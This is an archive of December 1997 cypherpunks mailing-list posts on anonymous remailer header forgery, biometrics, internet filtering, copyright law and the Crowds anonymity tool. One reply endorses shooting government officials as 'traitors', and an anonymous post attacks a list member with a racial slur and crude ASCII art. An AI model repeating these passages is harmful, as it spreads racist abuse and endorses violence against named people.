are the most address-rich part of the message, so you just get headers
from the server. Then you look for addresses with a regex. Looking for
mangled addresses means that now you have to have two regexes, which
increases your search time for not much benefit. No, the only ones which
will bother will be the spiteful ones...

> I shut down my remailer a few years ago because of this one;
> the forger posted hate mail to the gay newsgroups with the victim's name
> at the bottom (didn't even use From: pasting, just message body.)
> Supporting From: pasting just encourages this.
> 
> It's possible to cancel the one forged usenet message,
> but that didn't stop the flames many people emailed to her,
> and fewer systems are accepting cancels these days,
> especially when forged by remailers...

With the address munging on USENET posts, you have to do a bit of work in
order to even find the actual forged address (look at the headers, dig out
Author-Address:, unmangle it), and by then you ought to be wondering, Did
this person really send this?

> By the way, one technical risk with From:-pasting is that you need to
> parse or substitute special characters including parens and anglebrackets.
> Otherwise it's easy for people to paste in syntactically incorrect headers,
> which really annoy some gateways and mail clients - nested parens are
> a particular problem.

Ah. When munging, I just use: sendmail -bv -- $ADDR and then a bit of sed
magic. If anything can parse it correctly, it's sendmail. 

> >(I would like to see Cc: and Bcc: being allowed to be pasted in also).
> At minimum, addresses in Cc: and Bcc: need to be checked against
> blocking lists, and it's probably worth checking the number of
> names in the list against some threshold - especialy Bcc:s,
> which tend to be popularly used by spamware.

On cracker, you can paste To:, CC:, and Bcc:. All are checked against the
destination block file. At present, if a blocked address is on a list of
addresses, the entire list is blocked. Maximum number of recipients is 20,
at which point the whole thing is dropped.

> >I would also like to see From: pasted in.  In fact I can see no
> >purpose to restrict what can be pasted in, other than to reduce
> >complaints to the remailer operator possibly.
> Too easy to be abused by forgers, as are Reply-To: and Sender:.

Sender: we don't allow, or X-Sender: or Received: or Comments:
authenticated sender is. Reply-To: is allowed, and checked against the
destination block list. In practice, this stuff doesn't seem to be a
problem.

Andy Dustman / Computational Center for Molecular Structure and Design
For a great anti-spam procmail recipe, send me mail with subject "spam".
Append "+spamsucks" to my username to ensure delivery.  KeyID=0xC72F3F1D
Encryption is too important to leave to the government. -- Bruce Schneier
http://www.athens.net/~dustman mailto:andy@neptune.chem.uga.edu   <}+++<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@neptune.chem.uga.edu>
Date: Wed, 3 Dec 1997 01:27:18 +0800
To: Charlie Comsec <comsec@nym.alias.net>
Subject: Re: Pasting in From:
In-Reply-To: <19971202170009.20761.qmail@nym.alias.net>
Message-ID: <Pine.LNX.3.94.971202120543.6085Z-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



On 2 Dec 1997, Charlie Comsec wrote:

> As long as blocking requests are authenticated with some sort of "cookie"
> token scheme, that would be acceptable.  That goes for INDIVIDUAL blocking
> requests.

I used to require that people reply to a confirmation message before I
would block them, but it was really too much effort. I check the headers,
and as long as it looks like the request came from them, I block them and
send them a message that they are blocked, so at least if it's a spoofed
request, they will know they have been spoofed.

>  Somewhat more discretion ought to be used for requests to block
> an entire domain. That should probably only be done upon request from the
> "postmaster" at that domain, and when an entire domain is blocked,

I do exactly that, or require a request from the internic-listed contact.

> The problem with eliminating any feature that gets abused is that it's an open
> invitation for someone to deliberately abuse it just to get it eliminated.
> Whenever possible, a solution should be sought which eliminates abuse while still
> allowing legitimate use.

Agreed, and I think I've worked out a reasonable compromise, because even
if you do try to forge somebody, it should scream, "Hey, you should be
suspicious about where this really came from."

Andy Dustman / Computational Center for Molecular Structure and Design
For a great anti-spam procmail recipe, send me mail with subject "spam".
Append "+spamsucks" to my username to ensure delivery.  KeyID=0xC72F3F1D
Encryption is too important to leave to the government. -- Bruce Schneier
http://www.athens.net/~dustman mailto:andy@neptune.chem.uga.edu   <}+++<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Wed, 3 Dec 1997 04:32:26 +0800
To: cypherpunks@toad.com
Subject: anon remailer
Message-ID: <3.0.5.32.19971202122124.007a4b60@otc.net>
MIME-Version: 1.0
Content-Type: text/plain





This guy has the IQ of a turnip...

relevant to anon remailers & society thread...

Tuesday December 2 12:07 PM EST 

Hate e-mail case to be retried

SANTA ANA, Calif., Dec. 2 (UPI) _ Saying the case has national importance,
federal prosecutors will
retry a 20-year-old man accused of sending threatening electronic mail to
Asian students at UC Irvine. 

Prosecutors announced their decision while opposing a bail request for
Richard Machado of Los
Angeles, the first person in the United States to be tried on charges of
committing a hate crime over the
Internet. 

His first trial on those charges ended with a deadlocked jury in November.
Jurors voted 9 to 3 to acquit
the former UC Irvine student. 

Assistant U.S. Attorney Michael Genaco told Judge Alicemarie H. Stotler
that it is important that the
case be resolved because other similar cases are certain to occur. 

Stotler denied bail for Machado, noting that he fled to Mexico when he was
first charged. 

Machado's retrial is scheduled to begin Jan. 27. 

_- 

David Honig 			honig@alum.mit.edu
---------------------------------------------------
If we can prevent the government from wasting the labours of the people
under the pretense of
 caring for them, they will be happy.  -TJ





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 3 Dec 1997 23:05:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is Tim May guilty of illegally advocating revolution?
In-Reply-To: <199712011825.TAA22548@basement.replay.com>
Message-ID: <Pine.LNX.3.91.971202134016.5368C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> You've both forgotton the fourth leg of the tripod, the one where Tim May
> calls for the governor of Florida to be shot (along with other officials).
> Governor Chiles' capital crime?  He refused to allow California wine to
> be sold in Florida.  

You claim that restricting free trade by force is not a capital crime?

> > Chiles and his co-conspirators should be shot for high crimes against the
> > Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
> 
> Everyone likes to overlook this, pretending that May didn't mean it.  Well,
> he never withdrew it, did he?  He never apologized for it.  He's on the
> record as explicitly calling for the murder of high officials.

I don`t overlook this, and I think you`ll find a number of list members, 
along with Tim himself fully support the statement made. These traitors 
should be shot, neither Tim, nor anyone else has claimed he did not say 
that, and I, for one, agree.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Wed, 3 Dec 1997 03:10:47 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Big Brother Is Watching ATMs
In-Reply-To: <2367.881005036@zelkova.qualcomm.com>
Message-ID: <v03007804b0a9d706a001@[198.115.179.81]>
MIME-Version: 1.0
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	Robert A. Costner <pooh@efga.org> wrote:

>As wonderful as eye scanning technology may sound, it promises to offer
>very weak identification and only be reliable in the short run.  This is
>based on the premise that a reproduction of an eye will work as well.  Just
>as a reproduction of a driver's license seems to work for check forgery.

	With respect, I disagree.  I think it is quite likely that an
iris-scan technology can effectively differentiate between a living eye and
a reproduction (or, as one of my many correspondents on this topic
suggested, an eye forcibly removed from the socket of a potential fraud
victim.)  In any case, the issue of false positives/negatives will be
settled with evidence. I think the technology will probably be useful, in
those terms.

	My concern is rather with who owns and controls the scan data from
an individual's own eye: whoever scans him or her?  Scans at a distance?
Surreptitiously?  Whatever entity claims the right to validate or
authenticate the individual's identity, for his or her own good?  for the
public good?

	If the value of eye-scanning (or any other type of biometric
authentication) is to be short-lived, it will be because the scan-data
itself will be poorly held, or transferred insecurely.

	While it may be difficult or impossible to fake out the camera with
a phony eyeball, it will _certainly_ be possible to inject a copy of the
proper scan-data somewhere into the linkage between the camera lens and
probably remote authentication server which will support it.

	The inherent weakness of biometric identifiers is that, if (or
when) there is a breach in the authentication system (or the access
controls or crypto system which secures the database which supports it,) it
will be impossible to correct the situation (as we might issue a new ATM
card or smartcard, or a new SecurID, or change a user's password.)

	The real victim of a poorly-designed authentication system which
uses biometrics will be the citizen/consumer who trusted his (irreplacable,
being often single and unique) biometric scan to an entity which handled it
with improper care and precautions.

	My sarcastic reaction to Jonathan's initial post was in reaction to
his report that some commercial banking organization was planning to
surreptitiously collect these iris scans and use them to replace
user-memorized PINs for validating cash disbursements.  (Jon tells me that
he originally heard this version on AM radio is San Francisco: the Barbara
Simpson show, KSFO 560AM, which he has found an often-reliable source.)

	I still consider this unlikely -- if for no other reason than the
fact that banking regulators (i.e., insurers) would never allow it.

	There is, of course, a whole set of political and sociological
issues which revolve around the rough equivalence of effective biometric
system, and the database which will give it value, and the traditionally
feared "national ID" paper-document system.  Jonathan's initial post
validly raised that fear.

	There is also an important public-policy discussion in the question
of whether the commercial value of such a system (and its database) to
consumers will again tempt the mass of (US) citizens into voluntarily
giving up control over this authentication technology (for easy credit or
faster and bigger ATM withdrawals) to business... for the government to
later take advantage of as it will, when this aspect of our privacy is just
another commodity.

	[Much of American privacy has already been traded off by our
citizens in a similar fashion.  Europe, where privacy was redefined when
governments extended citizen property rights to include information about
that citizen, presents a different model.  With some problems,  which
Libertarians are prone to stress;-) and some valuable protections.]

	(Did anyone note the European Commission's denunciation of US
crypto policy specifically noted that forcing European citizens to include
a message-recovery mechanism for government eavesdropping in their legal
e-mail or other electronic message systems would probably be a violation of
privacy rights commonly held by all citizens of the European Union?)

	Biometrics (something you are) is one of the three classic
mechanisms by which we convince a computer that we are indeed someone whose
identity was previously registered with the computer: something one knows
(password, PIN,) something one has (token, smartcard, ATM card,) or
something one is (the biometric.)

	Biometric identifiers, because they are static -- and thus,
inherently subject to replay attacks from _somewhere_ in their process or
procedures -- will likely always require  confirmation from other
authenticators.  Certainly they will require a secondary confirmation
before they are used to validate an active transfer of value like an ATM's
disbursement of cash.  (The lawyers and auditors will demand it.)

	I actually expect that the current standard for "strong
authentication" in business practice -- "two factors;" typically a password
and a token/card (often enhanced with a one-time password generator, which
provides proof that the token is in the users hand at the moment the
authentication code is generated) -- will soon be expanded to three.

	It is far more likely that auditors in the future will define
"strong authentication" systems as requiring (1) a user-memorized PIN, (2)
a token, and (3) a biometric, than that they will do away with the
requirement for either the PIN or the token.

	Tokens (by classical definition, personal and mobile, usually
pocketable) are becoming personal repositories for encryption and digital
signature keys, eventually secure crypto-engines, so these hand-held
authenticators will likely become even more valuable.

	And a PIN or password will, at the very least, still be required to
secure the smartcard's internal data so that the crown jewels are not
readily available to every pickpocket.

	The interesting question is what sort of controls will be placed
(probably by legislation) on second or third party access or traffic in
consumers'/citizens' biometric data.  It may be that all parties (citizens,
government, business) will have a common interest in holding systems which
capture or store these data-files to a very high infosec or crypto standard
in order to keep biometric files from falling into the realm of meaningless
index data (like Bob's example of the US social security number.)

	The use of biometrics as an authenticator will have commercial
value -- to the citizen/consumer and to commercial entities -- only if the
biometric scan-data is handled securely and respectfully.

	The use of biometrics as an administrative tool is probably
inevitable -- something we already see with photographs and fingerprints
(which are, of course, also biometrics.)  And as machines are better
adapted to scan for fingerprints, or faces and irises (remotely, as in an
airline terminal, bank lobby, or street corner?) -- and then to search,
match, identify and log the presence of these consumers/citizens at this or
that place --  our culture will inevitably get more constipated and the
freedom of our anonymity will be cramped (albiet, a protected place may be
"safer," as some will argue.)

	Hey, no one said the future was going to be easier to live than the
past;-) This record-keeping has been an obsession of modern governments
since the French Revolution, and only if we keep explaining and making the
impact of the technology a political issue -- as in the way
computer-monitoring can cut the cost of a $70,000 typical wiretap to a few
dollars, vastly increasing the capability of government to listen to more,
quite cheaply -- can citizens grasp what is at stake and strive to defend
themselves and the next generation.

	Random thoughts, shared for comment.

	Suerte,
		_Vin

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild + <vin@shore.net>    *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 3 Dec 1997 06:13:29 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Censorware Summit 2.0, from The Netly News
In-Reply-To: <v03007806b0aa1d8b87c6@[204.254.22.15]>
Message-ID: <199712022156.NAA24800@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



there's a simple solution to anyone who doesn't
like the so-called "mandatory voluntary" rating systems.

START YOUR OWN!!

anyone is free to create software that filters whatever
sites they deem appropriate, to use whatever algorithms
they think are legitimate.

for example, the the GLAAD agency might come out with
a list of sites they think are appropriate for children
to view that are excluded by other rating systems. I wouldn't
be surprised if some of the rating companies agree to
integrate such a list into their software and give the
end user the choice of whether to turn it on.

what? it takes a lot of time to rate sites? you don't want 
to do it? yet you want to complain about someone else who has taken
the time to do this for customers who have chosen
to pay for it?

there is a legitimate market for filtering software, and
it is growing. who is to say what software can be run on
someone else's computer? who is to tell parents they shouldn't
use a filtering package for their own children?

filtering software can be as simple or complex 
as we wish. ultimately end users are voting with their money.

the froth over the rating systems seems to me mostly
overblown. I do agree however that they should not be
made mandatory based on the law.

the free market is solving the problem. we have ratings
agencies and people (such as GLAAD) who rate the rating
agencies. I don't see anything worth hyperventilating about.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@dueprocess.com>
Date: Wed, 3 Dec 1997 03:46:55 +0800
To: cypherpunks@toad.com
Subject: Re: PGP User's Guide 2.6.2
In-Reply-To: <199712020837.JAA05430@basement.replay.com>
Message-ID: <3.0.5.32.19971202140449.007e4a20@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 09:37 AM 12/2/97 +0100, Anonymous wrote:
>
>Where can I find a copy?


See Harka's PGPSteps at: http://bureau42.base.org/public/pgpsteps.txt



*************************************************************
Lynne L. Harrison, Esq.          |    A Word to the Wise:
Poughkeepsie, New York           |     "When the gods
mailto:lharrison@dueprocess.com  |    wish to punish us,
http://www.dueprocess.com        |  they answer our prayers."
*************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 3 Dec 1997 04:21:21 +0800
To: cypherpunks@toad.com
Subject: GLAAD report on filtering software: "Access Denied"
Message-ID: <v03007802b0aa16c4eef3@[204.254.22.15]>
MIME-Version: 1.0
Content-Type: text/plain



=======

   Date: Tue, 2 Dec 1997 14:16:07 -0500
   From: Cathy Renna <CathyR@twbg.com>
     To: "'Declan McCullagh'" <declan@well.com>

Hi Declan--

I am greatly appreciating your comments and articles about the summit
(Loren Javier and I are attending right now. Here is our release about
the filtering software report.


Cathy Renna
Washington, DC Media Resource Center
Gay & Lesbian Alliance Against Defamation (GLAAD)
(202) 986-1360
fax: (202) 667-0902
renna@glaad.org

VISIT THE GLAAD WEB SITE AT http://www.glaad.org!
ALERT LINE 1-800-GAY-MEDIA

"GLAAD" and "Gay & Lesbian Alliance Against Defamation" are registered
trademarks of the Gay & Lesbian Alliance Against Defamation, Inc.


MEDIA RELEASE
FOR IMMEDIATE RELEASE

Contact: Liz Tracey, GLAAD (212) 807-1700
pgr. (800) 946-4646 pin# 1423527
e-mail: tracey@glaad.org

GLAAD RELEASES GROUNDBREAKING INTERNET FILTERING SOFTWARE REPORT
NATION'S ONLY LESBIAN & GAY MEDIA ADVOCACY GROUP EXAMINES COMPLEX ISSUES
IN "ACCESS DENIED"

NEW YORK, TUESDAY, DECEMBER 2, 1997-The Gay & Lesbian Alliance Against
Defamation (GLAAD) today announced from the historic Internet Summit the
release of their comprehensive and groundbreaking report on Internet
Filtering Software and ratings systems, "Access Denied: The Impact of
Internet Filtering Software on the Lesbian and Gay Community."

In the wake of the Communications Decency Act decision, Reno v. ACLU,
and
with the Internet Summit: Focus on Children being held through tomorrow
in
the nation's capital, GLAAD has completed an exhaustive survey of how
Internet filtering software, and future proposed ratings systems affect
the
lesbian and gay community. The findings mark the first time a lesbian
and
gay media advocacy organization has produced research and analysis of
such
depth on the issue of Internet access.

"The majority of software currently on the market, as well as new
products
in development, place informational Web sites serving the lesbian, gay,
bisexual and transgender community in the same categories as sexually
explicit sites," the executive summary reports. "The software developers
are either unable or unwilling to consider that information about sexual
orientation and identity (e.g., a gay square dancing site) has nothing
to
do with sexual behavior, and everything to do with culture and
identity."

"Access Denied" contains sections analyzing the legal, political and
social
implications of enforced invisibility on the Web. It also includes
overviews written by members of groups such as Gay and Lesbian Parents
Coalition International (GLPCI) and Peacefire (an entirely youth-run
cyberliberties group), as well as testimonials from lesbian, gay,
bisexual
and transgender youth, who, as seen in the report, are those most
directly
affected by the lack of access to important information via the Web or
Internet newsgroups.

"I urge everyone who uses the Interent to read this report, and learn
the
troubling implications of the widespread use of filtering software,"
states
Joan M. Garry, GLAAD Executive Director. "As a mother, I can assure you
that while GLAAD has examined the disturbing aspects of filtering, we
never
lost sight of the youngest users of the Internet-our children. Whether
it
is through the testimonials of lesbian and gay youth, or an essay
written
by a gay father, the voices in this report must be heard now-perhaps
soon,
they will be much harder to find."

The report also includes a thorough review of the currently available
software, ratings systems and search engines, recommendations for
industry
leaders on how to make the Internet both friendly and fair, as well as a
proposal for a future ratings system, FAIRsite, which would measure the
accessibility and accuracy of various ratings systems and software.

GLAAD is a national organization that promotes fair, accurate and
inclusive
representation of individuals and events in the media as a means of
combating homophobia and all forms of discrimination based on sexual
orientation or identity.

-30-










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 3 Dec 1997 04:08:56 +0800
To: cypherpunks@toad.com
Subject: USA Today editorial opposing criminal copyright bill
Message-ID: <v03007804b0aa18063acd@[204.254.22.15]>
MIME-Version: 1.0
Content-Type: text/plain



An opposing view from Rep. Goodlatte also appears at the URL below. My
article on this unprecedented criminal copyright bill is:

 http://cgi.pathfinder.com/netly/opinion/0,1042,1588,00.html

-Declan

======

http://www.usatoday.com/news/comment/nceditf.htm

USA Today Editorial

12/01/97- Updated 11:14 PM ET

Law limits use of Net

In 1994, Massachusetts Institute of Technology student
David LaMacchia invited on-line users to download $1
million worth of copyrighted computer software that he'd
put on the Internet.

In spite of his antics, charges against LaMacchia were
dismissed. Thanks to a legal loophole, hackers who break
copyrights just for fun can't be criminally prosecuted.

LaMacchia's case is just the most notorious example of how
the growth of the Internet has strained the nation's
copyright laws. Duplicating materials in cyberspace is as
easy as clicking a mouse. The market for pirated goods is
as infinite as the World Wide Web. And under copyright laws
from the 1800s, infringement occurs only if a person makes
money from the illegal act.

Determined to deter the hackers, Congress passed a bill
last month making it a felony to duplicate copyrighted
materials on line, including computer software, recordings,
books and articles.

But the bill awaiting President Clinton's signature puts
more than hackers at risk. It threatens the actions of
scientists, academics and Web users, exposing them to
criminal penalties of up to six years in jail.

Researchers frequently use the Internet to distribute
articles that they write but that other publications
copyright. And the Internet now plays an important role in
peer review. Scientists post their published research on a
Web site in hope of encouraging the exchange of scientific
information.

Until now, copyright infringement wasn't a worry for these
folks. Courts recognized the "fair use" of copyrighted
works for noncommercial purposes, including teaching,
research and criticism. To bar the use of all copyrighted
material would be like telling film critics they couldn't
quote dialogue in their movie reviews.

Yet under its new law, Congress makes it a crime to
duplicate copyrighted materials on line but neglects to
include specific "fair use" legal protections allowing the
duplication of copyrighted materials that doesn't hurt a
work's commercial value.

Lawmakers argue that protections aren't needed because the
bill calls for the prosecution only of those who
"willfully" violate copyrights.

Their argument overlooks all the people who know they're
using copyrighted material but do so without criminal
intent: the researchers, students, writers and Web surfers
who duplicate copyrighted materials as a way to
communicate.

Unless a clear exemption is written into law, all risk
becoming targets for overly aggressive prosecutors.

There are compelling reasons to revise copyright laws for
our digital age. But without guaranteeing researchers the
same protections on line as they have off, Congress risks
limiting the Internet's legitimate uses.

###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 3 Dec 1997 04:41:42 +0800
To: cypherpunks@toad.com
Subject: Censorware Summit 2.0, from The Netly News
Message-ID: <v03007806b0aa1d8b87c6@[204.254.22.15]>
MIME-Version: 1.0
Content-Type: text/plain



[For details on some of the proposals presented, read the full article.
--Declan]

============

http://cgi.pathfinder.com/netly/opinion/0,1042,1608,00.html

The Netly News Network (http://netlynews.com/)
December 2, 1997

Censorware Summit 2.0
by Declan McCullagh (declan@well.com)

        If there's one political controversy that promises never to die,
   it's sex and the Net. There seems to be something about the
   combination of children and cyberporn that makes otherwise levelheaded
   adults more than a little worried -- and even a little irrational.

        Enter the politicans, always happy to pacify parents with
   soothing rhetoric. Vice President Al Gore is scheduled to speak this
   morning at a two-day summit dedicated to protecting kids online.

        Of course, the Communications Decency Act's backers had claimed
   that that particularly nasty law (which the Supreme Court found to be
   unconstitutional) did just that. They were joined by the White House,
   which two years ago said "the President firmly supports the
   Communications Decency Act" to "regulate the exposure of children to
   computer pornography."

        This time, however, the White House would like to avoid the same
   embarrassing mistakes -- and, perhaps more importantly, would like to
   avoid pissing off high tech firms that could be hefty campaign
   contributors to Al Gore 2000. Instead of endorsing new federal
   legislation, the Clinton administration says it'll oppose it as long
   as industry regulates itself. And, of course, if firms play ball,
   their CEOs get to share the limelight with the veep

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 3 Dec 1997 04:35:22 +0800
To: cypherpunks@toad.com
Subject: A Netly Thanksgiving (guess I should have posted this earlier)
Message-ID: <v03007808b0aa1eeedb77@[204.254.22.15]>
MIME-Version: 1.0
Content-Type: text/plain



===========

http://cgi.pathfinder.com/netly/opinion/0,1042,1602,00.html

The Netly News (http://netlynews.com/)
November 28, 1997

A Netly News Thanksgiving
by Declan McCullagh (declan@well.com)

        Here at the Netly News, we have a feast of things for which
	we're thankful during this holiday season: Ricochet radio
	modems. MacOS 8. A Supreme Court that supports free
	speech online. DVD. Cable companies offering 400 Kbit/sec
	Net-connections.

        But we're also grateful to the personalities who made
	this year an unforgettable one:

        Heaven's Gate: A special Netly thanks to these suicide
	cultists for providing us with seemingly unlimited
	article fodder. From the blinking red alert headline of
	their celestial home page to the computer-generated
	painting of a resident of the kingdom of heaven, their
	web site was a treasure trove for journalists. Buried
	in the invisible space at the bottom of the home page
	were hundreds of hidden words: UFO, space alien,
	extraterrestrial, misinformation, second coming, end
	times, alien abductions, Yoda, Yoga. Wonderful stuff.

        Louis Freeh: The butt of a thousand jokes on the Net
	("Freedom isn't Freeh"), the FBI director emerged this
	year as the arch-enemy of strong encryption. We had
	worried that Deputy Attorney General Jamie Gorelick's
	departure might mean fewer good stories from the Justice
	Department. But Freeh came to the rescue, saying publicly
	that Americans should not be allowed to buy encryption
	products without a backdoor for law enforcement.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 3 Dec 1997 04:41:17 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <w4FnYp21JUztmSlzCwfrqQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C[...] May is a slant-eyed, rice-gibbling jap in a redneck disguise.

             ---._.---
            /    |     \
           /     *      \
          (      @@      )
          /   _/-||-\_   \
         /   '/  ||  \`   \
        /    /   ()   \    \
       /    /|        |\    \
       /   / |        | \   \
      /   / /  o    o  \ \   \
     /   /  (          )  \   \
     <_ ' `--`___'`___'--' ` _>
    /  '~~---   / = \  ---~~`  \
,,,/  /        (  v  )       \  \,,,
\ /  /        @|-' '-|@       \  \ /
 \__/          //////          \__/


Dave Smith bends over for Gary Burnore, Paul Pomes, and the rest
of the Databasix gang.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Wed, 3 Dec 1997 07:17:14 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Censorware Summit 2.0, from The Netly News
In-Reply-To: <199712022156.NAA24800@netcom13.netcom.com>
Message-ID: <Pine.LNX.3.95.971202152128.507B-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 2 Dec 1997, Vladimir Z. Nuri wrote:

> there's a simple solution to anyone who doesn't
> like the so-called "mandatory voluntary" rating systems.
> 
> START YOUR OWN!!

I've mentioned this half in jest before, but why don't all
the moralistic fanatics petition their church to come up with
filtering software.

That way you could be sure what kind of stuff your church
were filtering out.  In doing so you would be providing
a powerful check on the values of your religious institution.

Since hard-core profit motives would be eliminated you could
check if your church actively filters specific sites.  This
is something the net-nanny software doesn't allow you to do
because their filter lists are proprietary.

I know the RC church has plenty of additional clergy to 
devote to such a noble task  ;-)

The types of filtered information are up to your church:

Anyone care to submit major censoring categories for each
church? ;-)  Maybe the best way for cypherpunks to attack
this is to come up with free generic filtering software that
any well recognized group can develop filtering lists for.
Wait -- a name is coming to me -- GNUSitter?

Please append your filtering categories here:

Roman Catholic:
Jewish:
Lutheran:
Pentacostal:
Baptist:
Southern Baptist:
Scientologist:
Davidian:
Statist:
Morman:
Subgenius:

All hail Eris!

jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 3 Dec 1997 06:58:32 +0800
To: David Honig <honig@otc.net>
Subject: 'Off' the parking pigs!
In-Reply-To: <3.0.5.32.19971202122124.007a4b60@otc.net>
Message-ID: <34848C59.5E07@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



David Honig wrote:
> relevant to anon remailers & society thread...

> SANTA ANA, Calif., Dec. 2 (UPI) _ Saying the case has national importance,
> federal prosecutors will
> retry a 20-year-old man accused of sending threatening electronic mail to
> Asian students at UC Irvine.

> Stotler denied bail for Machado, noting that he fled to Mexico when he was
> first charged.

  Are we supposed to feel 'safer' in public, knowing that we may be
surrounded by people to whom it may be worthwhile to kill a few cops
and innocent bystanders in order to avoid punishment for sending 
nasty email, or having an unpaid parking ticket?
  When standing near someone who begins to jaywalk, should we hit the
deck, in case this is their third offense and will kill to avoid life
in prison? If the guy in the next parking spot doesn't plug the meter,
are we in danger of taking a stray bullet from a Swat team?

  Perhaps I am being a bit facetious, or perhaps I am a prophet, able
to see six months into the future...

  God help you if your 'crime' will provide some self-important member
of the legal system with national press.
  Double-'God help you', if you win your case.

TruthMonger
"Advocating the death penalty for syntax errors, since 1984."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aviel Rubin <rubin@eecs.umich.edu>
Date: Wed, 3 Dec 1997 06:22:20 +0800
To: coderpunks@toad.com
Subject: Announcing availability of Crowds 1.1.1 for Win95, WinNT, Unix
Message-ID: <199712022158.QAA07335@quip.eecs.umich.edu>
MIME-Version: 1.0
Content-Type: text/plain



Crowds: A system for anonymous web transactions

Top 10 reasons why you might be interested in Crowds

10. The price - crowds is free
9.  Easy to install - download the code, untar, and run.
    Then, simply point your browser proxy settings to
    it and you can browse anonymously
8.  Public service - by running the crowds code, you provide
    others with anonymity, even if you don't use it all the
    time.
7.  Big brother is on the net - this helps you hide
6.  It's nobody's business what you are browsing
5.  For this to work, there needs to be a large user community
4.  Portable - now works on Windows95, WindowsNT, and all
    versions of Unix we tried
3.  Win Crowds T-shirts and coffee mugs - details to come
2.  Take a stand for privacy
1.  Don't be the last person on the Internet to obtain privacy

More information, including full source code is avilable at
http://www.research.att.com/projects/crowds.

- Mike Reiter
- Avi Rubin


*********************************************************************
Aviel D. Rubin                                 rubin@research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Labs - Research
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809

   --> Check out http://www.clark.net/pub/mjr/websec/ for a new
       book on web security (The Web Security Sourcebook).
*********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Wed, 3 Dec 1997 01:13:22 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Pasting in From:
Message-ID: <19971202170009.20761.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

- -----BEGIN PGP SIGNED MESSAGE-----

stewarts@ix.netcom.com wrote:
 
> >(I would like to see Cc: and Bcc: being allowed to be pasted in also).
>
> At minimum, addresses in Cc: and Bcc: need to be checked against
> blocking lists, and it's probably worth checking the number of
> names in the list against some threshold - especialy Bcc:s,
> which tend to be popularly used by spamware.

As long as blocking requests are authenticated with some sort of "cookie"
token scheme, that would be acceptable.  That goes for INDIVIDUAL blocking
requests.  Somewhat more discretion ought to be used for requests to block
an entire domain. That should probably only be done upon request from the
"postmaster" at that domain, and when an entire domain is blocked, that fact
should probably be announced in advance, publicly, in alt.privacy.anon-server to 
inform users in that domain who might not have been made aware of the action and
who might need to recreate 'nym reply blocks, etc., before their incoming mail
gets embargoed.

For example, if I had a 'nym with a reply block that directed replies to my
e-mail account at work (I don't, BTW), and my employer decided that it no longer
wanted its employees to be able to receive anonymous e-mail, then it would only
be polite for the employer to notify the employees well in advance of that
policy change.  But in case the employer failed to do so, a public notice should
also be made.

In fact, I'd say that domain-wide blocking requests should only be accepted from
"postmaster" or one of the contact addresses listed with InterNIC for that domain.
One large ISP, for example, allowed a user (who was not an employee nor a
representative of the ISP) to sign up for the user ID "abuse".
 
> >I would also like to see From: pasted in.  In fact I can see no
